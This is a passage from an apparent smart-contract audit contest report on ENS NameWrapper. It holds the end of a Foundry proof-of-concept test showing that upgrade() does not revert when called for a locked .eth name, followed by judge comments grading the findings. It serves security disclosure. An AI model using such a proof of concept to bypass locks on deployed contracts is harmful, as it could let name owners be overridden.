        string memory sub1_full = 'sub1.vitalik.eth';
        string memory sub1_str = 'sub1';
        (, bytes32 node) = node_str.dnsEncodeName();
        (bytes memory sub1_dnsname, bytes32 sub1_node) = sub1_full.dnsEncodeName();

        // wrap parent and lock
        vm.prank(user1);
        registrar.setApprovalForAll(address(nameWrapper), true);
        vm.prank(user1);
        nameWrapper.wrapETH2LD('vitalik', user1, type(uint16).max /* all fuses are burned */, address(0));
        // sanity check
        (address owner, uint32 fuses, uint64 expiry) = nameWrapper.getData(uint256(node));
        assertEq(owner, user1);
        assertEq(fuses, PARENT_CANNOT_CONTROL | IS_DOT_ETH | type(uint16).max);
        assertEq(expiry, 2038123728);

        // upgrade as nameWrapper's owner
        vm.prank(root_owner);
        nameWrapper.setUpgradeContract(nameWrapperUpgrade);
        assertEq(address(nameWrapper.upgradeContract()), address(nameWrapperUpgrade));

        // user1 calls upgradeETH2LD
        vm.prank(user1);
        // nameWrapper.upgradeETH2LD('vitalik', address(123) /* new owner */, address(531) /* resolver */);
        // The line below does not revert unless the upgraded NameWrapper has the logic to check the parentNode
        nameWrapper.upgrade(ETH_NODE, 'vitalik', address(123) /* new owner */, address(531) /* resolver */);
    }

#0 - GalloDaSballo

2022-12-05T01:31:06Z

L00 NameWrapper: Missing isWrapped function Valid R / Low

L01 NameWrapper: upgrade does not revert when called with ETH2LD Valid L, will think about severity further

#1 - GalloDaSballo

2022-12-06T20:21:45Z

2L

#2 - c4-judge

2022-12-06T20:22:14Z

GalloDaSballo marked the issue as selected for report

#3 - c4-judge

2022-12-06T20:25:40Z

GalloDaSballo marked the issue as grade-a

#4 - GalloDaSballo

2022-12-11T16:48:59Z

Confirming Best QA because of impact of the findings (and because of penalty for Izhuer Submissions)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter